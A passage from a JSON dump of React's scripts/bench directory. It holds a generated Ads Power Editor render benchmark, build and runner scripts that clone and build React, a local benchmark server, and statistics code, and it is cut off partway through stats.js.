{\n      return React.createElement(\n        'div',\n        {\n          className: '_1gd4 _4li _52no _3h1a _1mib',\n          onClick: null,\n          onDoubleClick: null,\n          onMouseDown: null,\n          onMouseEnter: null,\n          onMouseLeave: null,\n          style: {width: 1209, height: 40},\n        },\n        React.createElement(\n          'div',\n          {className: '_1gd5'},\n          FixedDataTableCellGroup145(319),\n          FixedDataTableCellGroup145(333),\n          React.createElement('div', {\n            className: '_1gd6 _1gd8',\n            style: {left: 721, height: 40},\n          })\n        )\n      );\n    }\n    if (x === 457) {\n      return React.createElement(\n        'div',\n        {\n          className: '_1gd4 _4li _3h1a _1mib',\n          onClick: null,\n          onDoubleClick: null,\n          onMouseDown: null,\n          onMouseEnter: null,\n          onMouseLeave: null,\n          style: {width: 1209, height: 25},\n        },\n        React.createElement(\n          'div',\n          {className: '_1gd5'},\n          FixedDataTableCellGroup145(368),\n          FixedDataTableCellGroup145(456),\n          React.createElement('div', {\n            className: '_1gd6 _1gd8',\n            style: {left: 721, height: 25},\n          })\n        )\n      );\n    }\n  };\n\n  var FixedDataTableRow147 = function (x) {\n    if (x === 335) {\n      return React.createElement(\n        'div',\n        {\n          style: {\n            width: 1209,\n            height: 40,\n            zIndex: 1,\n            transform: 'translate3d(0px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n          className: '_1gda',\n        },\n        FixedDataTableRowImpl146(334)\n      );\n    }\n    if (x === 458) {\n      return React.createElement(\n        'div',\n        {\n          style: {\n            width: 1209,\n            height: 25,\n            zIndex: 1,\n            transform: 'translate3d(0px,40px,0)',\n            backfaceVisibility: 'hidden',\n          },\n          className: '_1gda',\n        },\n        FixedDataTableRowImpl146(457)\n      );\n    }\n  };\n\n  var FixedDataTableAbstractSortableHeader148 = function (x) {\n    if (x === 341) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(340)\n        )\n      );\n    }\n    if (x === 347) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _1kst _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(346)\n        )\n      );\n    }\n    if (x === 353) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _1kst _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(352)\n        )\n      );\n    }\n    if (x === 358) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(357)\n        )\n      );\n    }\n    if (x === 363) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _54_9 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(362)\n        )\n      );\n    }\n    if (x === 370) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(369)\n        )\n      );\n    }\n    if (x === 375) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(374)\n        )\n      );\n    }\n    if (x === 380) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(379)\n        )\n      );\n    }\n    if (x === 385) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(384)\n        )\n      );\n    }\n    if (x === 390) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(389)\n        )\n      );\n    }\n    if (x === 395) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(394)\n        )\n      );\n    }\n    if (x === 400) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(399)\n        )\n      );\n    }\n    if (x === 405) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(404)\n        )\n      );\n    }\n    if (x === 410) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(409)\n        )\n      );\n    }\n    if (x === 415) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(414)\n        )\n      );\n    }\n    if (x === 420) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(419)\n        )\n      );\n    }\n    if (x === 425) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(424)\n        )\n      );\n    }\n    if (x === 430) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(429)\n        )\n      );\n    }\n    if (x === 435) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(434)\n        )\n      );\n    }\n    if (x === 440) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(439)\n        )\n      );\n    }\n    if (x === 445) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          AdsPETableHeader141(444)\n        )\n      );\n    }\n  };\n\n  var FixedDataTableSortableHeader149 = function (x) {\n    if (x === 342) {\n      return FixedDataTableAbstractSortableHeader148(341);\n    }\n    if (x === 348) {\n      return FixedDataTableAbstractSortableHeader148(347);\n    }\n    if (x === 354) {\n      return FixedDataTableAbstractSortableHeader148(353);\n    }\n    if (x === 359) {\n      return FixedDataTableAbstractSortableHeader148(358);\n    }\n    if (x === 364) {\n      return FixedDataTableAbstractSortableHeader148(363);\n    }\n    if (x === 371) {\n      return FixedDataTableAbstractSortableHeader148(370);\n    }\n    if (x === 376) {\n      return FixedDataTableAbstractSortableHeader148(375);\n    }\n    if (x === 381) {\n      return FixedDataTableAbstractSortableHeader148(380);\n    }\n    if (x === 386) {\n      return FixedDataTableAbstractSortableHeader148(385);\n    }\n    if (x === 391) {\n      return FixedDataTableAbstractSortableHeader148(390);\n    }\n    if (x === 396) {\n      return FixedDataTableAbstractSortableHeader148(395);\n    }\n    if (x === 401) {\n      return FixedDataTableAbstractSortableHeader148(400);\n    }\n    if (x === 406) {\n      return FixedDataTableAbstractSortableHeader148(405);\n    }\n    if (x === 411) {\n      return FixedDataTableAbstractSortableHeader148(410);\n    }\n    if (x === 416) {\n      return FixedDataTableAbstractSortableHeader148(415);\n    }\n    if (x === 421) {\n      return FixedDataTableAbstractSortableHeader148(420);\n    }\n    if (x === 426) {\n      return FixedDataTableAbstractSortableHeader148(425);\n    }\n    if (x === 431) {\n      return FixedDataTableAbstractSortableHeader148(430);\n    }\n    if (x === 436) {\n      return FixedDataTableAbstractSortableHeader148(435);\n    }\n    if (x === 441) {\n      return FixedDataTableAbstractSortableHeader148(440);\n    }\n    if (x === 446) {\n      return FixedDataTableAbstractSortableHeader148(445);\n    }\n  };\n\n  var FixedDataTableBufferedRows150 = function (x) {\n    if (x === 459) {\n      return React.createElement('div', {\n        style: {\n          position: 'absolute',\n          pointerEvents: 'auto',\n          transform: 'translate3d(0px,65px,0)',\n          backfaceVisibility: 'hidden',\n        },\n      });\n    }\n  };\n\n  var Scrollbar151 = function (x) {\n    if (x === 460) {\n      return null;\n    }\n    if (x === 461) {\n      return React.createElement(\n        'div',\n        {\n          onFocus: function () {},\n          onBlur: function () {},\n          onKeyDown: function () {},\n          onMouseDown: function () {},\n          onWheel: function () {},\n          className: '_1t0r _1t0t _4jdr _1t0u',\n          style: {width: 1209, zIndex: 99},\n          tabIndex: 0,\n        },\n        React.createElement('div', {\n          className: '_1t0w _1t0y _1t0_',\n          style: {\n            width: 561.6340607950117,\n            transform: 'translate3d(4px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n        })\n      );\n    }\n  };\n\n  var HorizontalScrollbar152 = function (x) {\n    if (x === 462) {\n      return React.createElement(\n        'div',\n        {className: '_3h1k _3h1m', style: {height: 15, width: 1209}},\n        React.createElement(\n          'div',\n          {\n            style: {\n              height: 15,\n              position: 'absolute',\n              overflow: 'hidden',\n              width: 1209,\n              transform: 'translate3d(0px,0px,0)',\n              backfaceVisibility: 'hidden',\n            },\n          },\n          Scrollbar151(461)\n        )\n      );\n    }\n  };\n\n  var FixedDataTable153 = function (x) {\n    if (x === 463) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3h1i _1mie',\n          onWheel: function () {},\n          style: {height: 25, width: 1209},\n        },\n        React.createElement(\n          'div',\n          {className: '_3h1j', style: {height: 8, width: 1209}},\n          FixedDataTableColumnResizeHandle140(313),\n          FixedDataTableRow147(335),\n          FixedDataTableRow147(458),\n          FixedDataTableBufferedRows150(459),\n          null,\n          undefined,\n          React.createElement('div', {\n            className: '_3h1e _3h1h',\n            style: {top: 8},\n          })\n        ),\n        Scrollbar151(460),\n        HorizontalScrollbar152(462)\n      );\n    }\n  };\n\n  var TransitionTable154 = function (x) {\n    if (x === 464) {\n      return FixedDataTable153(463);\n    }\n  };\n\n  var AdsSelectableFixedDataTable155 = function (x) {\n    if (x === 465) {\n      return React.createElement(\n        'div',\n        {className: '_5hht'},\n        TransitionTable154(464)\n      );\n    }\n  };\n\n  var AdsDataTableKeyboardSupportDecorator156 = function (x) {\n    if (x === 466) {\n      return React.createElement(\n        'div',\n        {className: '_5d6f', tabIndex: '0', onKeyDown: function () {}},\n        AdsSelectableFixedDataTable155(465)\n      );\n    }\n  };\n\n  var AdsEditableDataTableDecorator157 = function (x) {\n    if (x === 467) {\n      return React.createElement(\n        'div',\n        {onCopy: function () {}},\n        AdsDataTableKeyboardSupportDecorator156(466)\n      );\n    }\n  };\n\n  var AdsPEDataTableContainer158 = function (x) {\n    if (x === 468) {\n      return React.createElement(\n        'div',\n        {className: '_35l_ _1hr clearfix'},\n        null,\n        null,\n        null,\n        AdsEditableDataTableDecorator157(467)\n      );\n    }\n  };\n\n  var AdsPECampaignGroupTableContainer159 = function (x) {\n    if (x === 470) {\n      return ResponsiveBlock37(469);\n    }\n  };\n\n  var AdsPEManageAdsPaneContainer160 = function (x) {\n    if (x === 473) {\n      return React.createElement(\n        'div',\n        null,\n        AdsErrorBoundary10(65),\n        React.createElement(\n          'div',\n          {className: '_2uty'},\n          AdsErrorBoundary10(125)\n        ),\n        React.createElement(\n          'div',\n          {className: '_2utx _21oc'},\n          AdsErrorBoundary10(171),\n          React.createElement(\n            'div',\n            {className: '_41tu'},\n            AdsErrorBoundary10(176),\n            AdsErrorBoundary10(194)\n          )\n        ),\n        React.createElement(\n          'div',\n          {className: '_2utz', style: {height: 25}},\n          AdsErrorBoundary10(302),\n          React.createElement(\n            'div',\n            {className: '_2ut-'},\n            AdsErrorBoundary10(312)\n          ),\n          React.createElement(\n            'div',\n            {className: '_2ut_'},\n            AdsErrorBoundary10(472)\n          )\n        )\n      );\n    }\n  };\n\n  var AdsPEContentContainer161 = function (x) {\n    if (x === 474) {\n      return AdsPEManageAdsPaneContainer160(473);\n    }\n  };\n\n  var FluxContainer_AdsPEWorkspaceContainer_162 = function (x) {\n    if (x === 477) {\n      return React.createElement(\n        'div',\n        {className: '_49wu', style: {height: 177, top: 43, width: 1306}},\n        ResponsiveBlock37(62, '0'),\n        AdsErrorBoundary10(476, '1'),\n        null\n      );\n    }\n  };\n\n  var FluxContainer_AdsSessionExpiredDialogContainer_163 = function (x) {\n    if (x === 478) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEUploadDialogLazyContainer_164 = function (x) {\n    if (x === 479) {\n      return null;\n    }\n  };\n\n  var FluxContainer_DialogContainer_165 = function (x) {\n    if (x === 480) {\n      return null;\n    }\n  };\n\n  var AdsBugReportContainer166 = function (x) {\n    if (x === 481) {\n      return React.createElement('span', null);\n    }\n  };\n\n  var AdsPEAudienceSplittingDialog167 = function (x) {\n    if (x === 482) {\n      return null;\n    }\n  };\n\n  var AdsPEAudienceSplittingDialogContainer168 = function (x) {\n    if (x === 483) {\n      return React.createElement(\n        'div',\n        null,\n        AdsPEAudienceSplittingDialog167(482)\n      );\n    }\n  };\n\n  var FluxContainer_AdsRuleDialogBootloadContainer_169 = function (x) {\n    if (x === 484) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPECFTrayContainer_170 = function (x) {\n    if (x === 485) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEDeleteDraftContainer_171 = function (x) {\n    if (x === 486) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEInitialDraftPublishDialogContainer_172 = function (x) {\n    if (x === 487) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEReachFrequencyStatusTransitionDialogBootloadContainer_173 =\n    function (x) {\n      if (x === 488) {\n        return null;\n      }\n    };\n\n  var FluxContainer_AdsPEPurgeArchiveDialogContainer_174 = function (x) {\n    if (x === 489) {\n      return null;\n    }\n  };\n\n  var AdsPECreateDialogContainer175 = function (x) {\n    if (x === 490) {\n      return React.createElement('span', null);\n    }\n  };\n\n  var FluxContainer_AdsPEModalStatusContainer_176 = function (x) {\n    if (x === 491) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsBrowserExtensionErrorDialogContainer_177 = function (x) {\n    if (x === 492) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPESortByErrorTipContainer_178 = function (x) {\n    if (x === 493) {\n      return null;\n    }\n  };\n\n  var LeadDownloadDialogSelector179 = function (x) {\n    if (x === 494) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPELeadDownloadDialogContainerClass_180 = function (x) {\n    if (x === 495) {\n      return LeadDownloadDialogSelector179(494);\n    }\n  };\n\n  var AdsPEContainer181 = function (x) {\n    if (x === 496) {\n      return React.createElement(\n        'div',\n        {id: 'ads_pe_container'},\n        FluxContainer_AdsPETopNavContainer_26(41),\n        null,\n        FluxContainer_AdsPEWorkspaceContainer_162(477),\n        FluxContainer_AdsSessionExpiredDialogContainer_163(478),\n        FluxContainer_AdsPEUploadDialogLazyContainer_164(479),\n        FluxContainer_DialogContainer_165(480),\n        AdsBugReportContainer166(481),\n        AdsPEAudienceSplittingDialogContainer168(483),\n        FluxContainer_AdsRuleDialogBootloadContainer_169(484),\n        FluxContainer_AdsPECFTrayContainer_170(485),\n        React.createElement(\n          'span',\n          null,\n          FluxContainer_AdsPEDeleteDraftContainer_171(486),\n          FluxContainer_AdsPEInitialDraftPublishDialogContainer_172(487),\n          FluxContainer_AdsPEReachFrequencyStatusTransitionDialogBootloadContainer_173(\n            488\n          )\n        ),\n        FluxContainer_AdsPEPurgeArchiveDialogContainer_174(489),\n        AdsPECreateDialogContainer175(490),\n        FluxContainer_AdsPEModalStatusContainer_176(491),\n        FluxContainer_AdsBrowserExtensionErrorDialogContainer_177(492),\n        FluxContainer_AdsPESortByErrorTipContainer_178(493),\n        FluxContainer_AdsPELeadDownloadDialogContainerClass_180(495),\n        React.createElement('div', {id: 'web_ads_guidance_tips'})\n      );\n    }\n  };\n\n  var Benchmark = function (x) {\n    if (x === undefined) {\n      return AdsPEContainer181(496);\n    }\n  };\n\n  var app = document.getElementById('app');\n\n  window.render = function render() {\n    ReactDOM.render(Benchmark(), app);\n  };\n})();\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-no-components/build.js",
    "content": "'use strict';\n\nconst {join} = require('path');\n\nasync function build(reactPath, asyncCopyTo) {\n  // copy the UMD bundles\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react.production.js'),\n    join(__dirname, 'react.production.js')\n  );\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react-dom.production.js'),\n    join(__dirname, 'react-dom.production.js')\n  );\n}\n\nmodule.exports = build;\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-no-components/index.html",
    "content": "<html>\n<body>\n    <div id=\"app\"></div>\n    <script>\n      performance.mark('Load React');\n      performance.mark('Load React+ReactDOM');\n    </script>\n    <script src=\"react.production.min.js\"></script>\n    <script>\n      performance.measure('Load React', 'Load React');\n    </script>\n    <script>\n      performance.mark('Load ReactDOM');\n    </script>\n    <script src=\"react-dom.production.min.js\"></script>\n    <script>\n      performance.measure('Load ReactDOM', 'Load ReactDOM');\n      performance.measure('Load React+ReactDOM', 'Load React+ReactDOM');\n    </script>\n    <script src=\"benchmark.js\"></script>\n    <script>\n      performance.mark('Initial Render');\n      render();\n      performance.measure('Initial Render', 'Initial Render');\n      requestAnimationFrame(() => {\n        performance.mark('Update Render');\n        render();\n        performance.measure('Update Render', 'Update Render');\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "scripts/bench/build.js",
    "content": "'use strict';\n\nconst Git = require('nodegit');\nconst rimraf = require('rimraf');\nconst ncp = require('ncp').ncp;\nconst {existsSync} = require('fs');\nconst exec = require('child_process').exec;\nconst {join} = require('path');\n\nconst reactUrl = 'https://github.com/facebook/react.git';\n\nfunction cleanDir() {\n  return new Promise(_resolve => rimraf('remote-repo', _resolve));\n}\n\nfunction executeCommand(command) {\n  return new Promise(_resolve =>\n    exec(command, error => {\n      if (!error) {\n        _resolve();\n      } else {\n        console.error(error);\n        process.exit(1);\n      }\n    })\n  );\n}\n\nfunction asyncCopyTo(from, to) {\n  return new Promise(_resolve => {\n    ncp(from, to, error => {\n      if (error) {\n        console.error(error);\n        process.exit(1);\n      }\n      _resolve();\n    });\n  });\n}\n\nfunction getDefaultReactPath() {\n  return join(__dirname, 'remote-repo');\n}\n\nasync function buildBenchmark(reactPath = getDefaultReactPath(), benchmark) {\n  // get the build.js from the benchmark directory and execute it\n  await require(join(__dirname, 'benchmarks', benchmark, 'build.js'))(\n    reactPath,\n    asyncCopyTo\n  );\n}\n\nasync function getMergeBaseFromLocalGitRepo(localRepo) {\n  const repo = await Git.Repository.open(localRepo);\n  return await Git.Merge.base(\n    repo,\n    await repo.getHeadCommit(),\n    await repo.getBranchCommit('main')\n  );\n}\n\nasync function buildBenchmarkBundlesFromGitRepo(\n  commitId,\n  skipBuild,\n  url = reactUrl,\n  clean\n) {\n  let repo;\n  const remoteRepoDir = getDefaultReactPath();\n\n  if (!skipBuild) {\n    if (clean) {\n      //clear remote-repo folder\n      await cleanDir(remoteRepoDir);\n    }\n    // check if remote-repo directory already exists\n    if (existsSync(remoteRepoDir)) {\n      repo = await Git.Repository.open(remoteRepoDir);\n      // fetch all the latest remote changes\n      await repo.fetchAll();\n    } else {\n      // if not, clone the repo to remote-repo folder\n      repo = await Git.Clone(url, remoteRepoDir);\n    }\n    let commit = await repo.getBranchCommit('main');\n    // reset hard to this remote head\n    await Git.Reset.reset(repo, commit, Git.Reset.TYPE.HARD);\n    // then we checkout the latest main head\n    await repo.checkoutBranch('main');\n    // make sure we pull in the latest changes\n    await repo.mergeBranches('main', 'origin/main');\n    // then we check if we need to move the HEAD to the merge base\n    if (commitId && commitId !== 'main') {\n      // as the commitId probably came from our local repo\n      // we use it to lookup the right commit in our remote repo\n      commit = await Git.Commit.lookup(repo, commitId);\n      // then we checkout the merge base\n      await Git.Checkout.tree(repo, commit);\n    }\n    await buildReactBundles();\n  }\n}\n\nasync function buildReactBundles(reactPath = getDefaultReactPath(), skipBuild) {\n  if (!skipBuild) {\n    await executeCommand(\n      `cd ${reactPath} && yarn && yarn build react/index,react-dom/index --type=UMD_PROD`\n    );\n  }\n}\n\n// if run directly via CLI\nif (require.main === module) {\n  buildBenchmarkBundlesFromGitRepo();\n}\n\nmodule.exports = {\n  buildReactBundles,\n  buildBenchmark,\n  buildBenchmarkBundlesFromGitRepo,\n  getMergeBaseFromLocalGitRepo,\n};\n"
  },
  {
    "path": "scripts/bench/package.json",
    "content": "{\n  \"name\": \"react-benchmark\",\n  \"version\": \"0.0.1\",\n  \"main\": \"runner.js\",\n  \"scripts\": {\n    \"start\": \"node runner.js\"\n  },\n  \"dependencies\": {\n    \"chalk\": \"^2.1.0\",\n    \"chrome-launcher\": \"^0.10.5\",\n    \"cli-table\": \"^0.3.1\",\n    \"http-server\": \"^0.10.0\",\n    \"http2\": \"^3.3.6\",\n    \"lighthouse\": \"^3.2.1\",\n    \"mime\": \"^1.3.6\",\n    \"minimist\": \"^1.2.3\",\n    \"ncp\": \"^2.0.0\",\n    \"nodegit\": \"^0.18.3\",\n    \"rimraf\": \"^2.6.1\",\n    \"stats-analysis\": \"^2.0.0\"\n  }\n}\n"
  },
  {
    "path": "scripts/bench/runner.js",
    "content": "'use strict';\n\nconst {readdirSync, statSync} = require('fs');\nconst {join} = require('path');\nconst runBenchmark = require('./benchmark');\nconst {\n  buildReactBundles,\n  buildBenchmark,\n  buildBenchmarkBundlesFromGitRepo,\n  getMergeBaseFromLocalGitRepo,\n} = require('./build');\nconst argv = require('minimist')(process.argv.slice(2));\nconst chalk = require('chalk');\nconst printResults = require('./stats');\nconst serveBenchmark = require('./server');\n\nfunction getBenchmarkNames() {\n  return readdirSync(join(__dirname, 'benchmarks')).filter(file =>\n    statSync(join(__dirname, 'benchmarks', file)).isDirectory()\n  );\n}\n\nfunction wait(val) {\n  return new Promise(resolve => setTimeout(resolve, val));\n}\n\nconst runRemote = argv.remote;\nconst runLocal = argv.local;\nconst benchmarkFilter = argv.benchmark;\nconst headless = argv.headless;\nconst skipBuild = argv['skip-build'];\n\nasync function runBenchmarks(reactPath) {\n  const benchmarkNames = getBenchmarkNames();\n  const results = {};\n  const server = serveBenchmark();\n  await wait(1000);\n\n  for (let i = 0; i < benchmarkNames.length; i++) {\n    const benchmarkName = benchmarkNames[i];\n\n    if (\n      !benchmarkFilter ||\n      (benchmarkFilter && benchmarkName.indexOf(benchmarkFilter) !== -1)\n    ) {\n      console.log(\n        chalk.gray(`- Building benchmark \"${chalk.white(benchmarkName)}\"...`)\n      );\n      await buildBenchmark(reactPath, benchmarkName);\n      console.log(\n        chalk.gray(`- Running benchmark \"${chalk.white(benchmarkName)}\"...`)\n      );\n      results[benchmarkName] = await runBenchmark(benchmarkName, headless);\n    }\n  }\n\n  server.close();\n  // http-server.close() is async but they don't provide a callback..\n  await wait(500);\n  return results;\n}\n\n// get the performance benchmark results\n// from remote main (default React repo)\nasync function benchmarkRemoteMaster() {\n  console.log(chalk.gray(`- Building React bundles...`));\n  let commit = argv.remote;\n\n  if (!commit || typeof commit !== 'string') {\n    commit = await getMergeBaseFromLocalGitRepo(join(__dirname, '..', '..'));\n    console.log(\n      chalk.gray(`- Merge base commit ${chalk.white(commit.tostrS())}`)\n    );\n  }\n  await buildBenchmarkBundlesFromGitRepo(commit, skipBuild);\n  return {\n    benchmarks: await runBenchmarks(),\n  };\n}\n\n// get the performance benchmark results\n// of the local react repo\nasync function benchmarkLocal(reactPath) {\n  console.log(chalk.gray(`- Building React bundles...`));\n  await buildReactBundles(reactPath, skipBuild);\n  return {\n    benchmarks: await runBenchmarks(reactPath),\n  };\n}\n\nasync function runLocalBenchmarks(showResults) {\n  console.log(\n    chalk.white.bold('Running benchmarks for ') +\n      chalk.green.bold('Local (Current Branch)')\n  );\n  const localResults = await benchmarkLocal(join(__dirname, '..', '..'));\n\n  if (showResults) {\n    printResults(localResults, null);\n  }\n  return localResults;\n}\n\nasync function runRemoteBenchmarks(showResults) {\n  console.log(\n    chalk.white.bold('Running benchmarks for ') +\n      chalk.yellow.bold('Remote (Merge Base)')\n  );\n  const remoteMasterResults = await benchmarkRemoteMaster();\n\n  if (showResults) {\n    printResults(null, remoteMasterResults);\n  }\n  return remoteMasterResults;\n}\n\nasync function compareLocalToMaster() {\n  console.log(\n    chalk.white.bold('Comparing ') +\n      chalk.green.bold('Local (Current Branch)') +\n      chalk.white.bold(' to ') +\n      chalk.yellow.bold('Remote (Merge Base)')\n  );\n  const localResults = await runLocalBenchmarks(false);\n  const remoteMasterResults = await runRemoteBenchmarks(false);\n  printResults(localResults, remoteMasterResults);\n}\n\nif ((runLocal && runRemote) || (!runLocal && !runRemote)) {\n  compareLocalToMaster().then(() => process.exit(0));\n} else if (runLocal) {\n  runLocalBenchmarks(true).then(() => process.exit(0));\n} else if (runRemote) {\n  runRemoteBenchmarks(true).then(() => process.exit(0));\n}\n"
  },
  {
    "path": "scripts/bench/server.js",
    "content": "'use strict';\n\nconst http2Server = require('http2');\nconst httpServer = require('http-server');\nconst {existsSync, statSync, createReadStream} = require('fs');\nconst {join} = require('path');\nconst argv = require('minimist')(process.argv.slice(2));\nconst mime = require('mime');\n\nfunction sendFile(filename, response) {\n  response.setHeader('Content-Type', mime.lookup(filename));\n  response.writeHead(200);\n  const fileStream = createReadStream(filename);\n  fileStream.pipe(response);\n  fileStream.on('finish', response.end);\n}\n\nfunction createHTTP2Server(benchmark) {\n  const server = http2Server.createServer({}, (request, response) => {\n    const filename = join(\n      __dirname,\n      'benchmarks',\n      benchmark,\n      request.url\n    ).replace(/\\?.*/g, '');\n\n    if (existsSync(filename) && statSync(filename).isFile()) {\n      sendFile(filename, response);\n    } else {\n      const indexHtmlPath = join(filename, 'index.html');\n\n      if (existsSync(indexHtmlPath)) {\n        sendFile(indexHtmlPath, response);\n      } else {\n        response.writeHead(404);\n        response.end();\n      }\n    }\n  });\n  server.listen(8080);\n  return server;\n}\n\nfunction createHTTPServer() {\n  const server = httpServer.createServer({\n    root: join(__dirname, 'benchmarks'),\n    robots: true,\n    cache: 'no-store',\n    headers: {\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Credentials': 'true',\n    },\n  });\n  server.listen(8080);\n  return server;\n}\n\nfunction serveBenchmark(benchmark, http2) {\n  if (http2) {\n    return createHTTP2Server(benchmark);\n  } else {\n    return createHTTPServer();\n  }\n}\n\n// if run directly via CLI\nif (require.main === module) {\n  const benchmarkInput = argv._[0];\n\n  if (benchmarkInput) {\n    serveBenchmark(benchmarkInput);\n  } else {\n    console.error('Please specify a benchmark directory to serve!');\n    process.exit(1);\n  }\n}\n\nmodule.exports = serveBenchmark;\n"
  },
  {
    "path": "scripts/bench/stats.js",
    "content": "'use strict';\n\nconst chalk = require('chalk');\nconst Table = require('cli-table');\n\nfunction percentChange(prev, current, prevSem, currentSem) {\n  const [mean, sd] = calculateMeanAndSdOfRatioFromDeltaMethod(\n    prev,\n    current,\n    prevSem,\n    currentSem\n  );\n  const pctChange = +(mean * 100).toFixed(1);\n  const ci95 = +(100 * 1.96 * sd).toFixed(1);\n\n  const ciInfo = ci95 > 0 ? ` +- ${ci95} %` : '';\n  const text = `${pctChange > 0 ? '+' : ''}${pctChange} %${ciInfo}`;\n  if (pctChange + ci95 < 0) {\n    return chalk.green(text);\n  } else if (pctChange - ci95 > 0) {\n    return chalk.red(text);\n  } else {\n    // Statistically insignificant.\n    return text;\n  }\n}\n\nfunction calculateMeanAndSdOfRatioFromDeltaMethod(\n  meanControl,\n  meanTest,\n  semControl,\n  semTest\n) {\n  const mean =\n    (meanTest - meanControl) / meanControl -\n    (Math.pow(semControl, 2) * meanTest) / Math.pow(meanControl, 3);\n  const variance =\n    Math.pow(semTest / meanControl, 2) +\n    Math.pow(semControl * meanTest, 2) / Math.pow(meanControl, 4);\n  return [mean, Math.sqrt(variance)];\n}\n\nfunction addBenchmarkResults(table, localResults, remoteMasterResults) {\n  const benchmarks = Object.keys(\n    (localResults && localResults.benchmarks) ||\n      (remoteMasterResults && remoteMasterResults.benchmarks)\n  );\n  benchmarks.forEach(benchmark => {\n    const rowHeader = [chalk.white.bold(benchmark)];\n    if (remoteMasterResults) {\n      rowHeader.push(chalk.white.bold('Time'));\n    }\n    if (localResults) {\n      rowHeader.push(chalk.white.bold('Time'));\n    }\n    if (localResults && remoteMasterResults) {\n      rowHeader.push(chalk.white.bold('Diff'));\n    }\n    table.push(rowHeader);\n\n    const measurements =\n      (localResults && localResults.benchmarks[benchmark].averages) ||\n      (remoteMasterResults &&\n        remoteMasterResults.benchmarks[benchmark].averages);\n    measurements.forEach((measurement, i) => {\n      const row = [chalk.gray(measurement.entry)];\n      let remoteMean;\n      let remoteSem;\n      if (remoteMasterResults) {\n        remoteMean = remoteMasterResults.benchmarks[benchmark].averages[i].mean;\n        remoteSem = 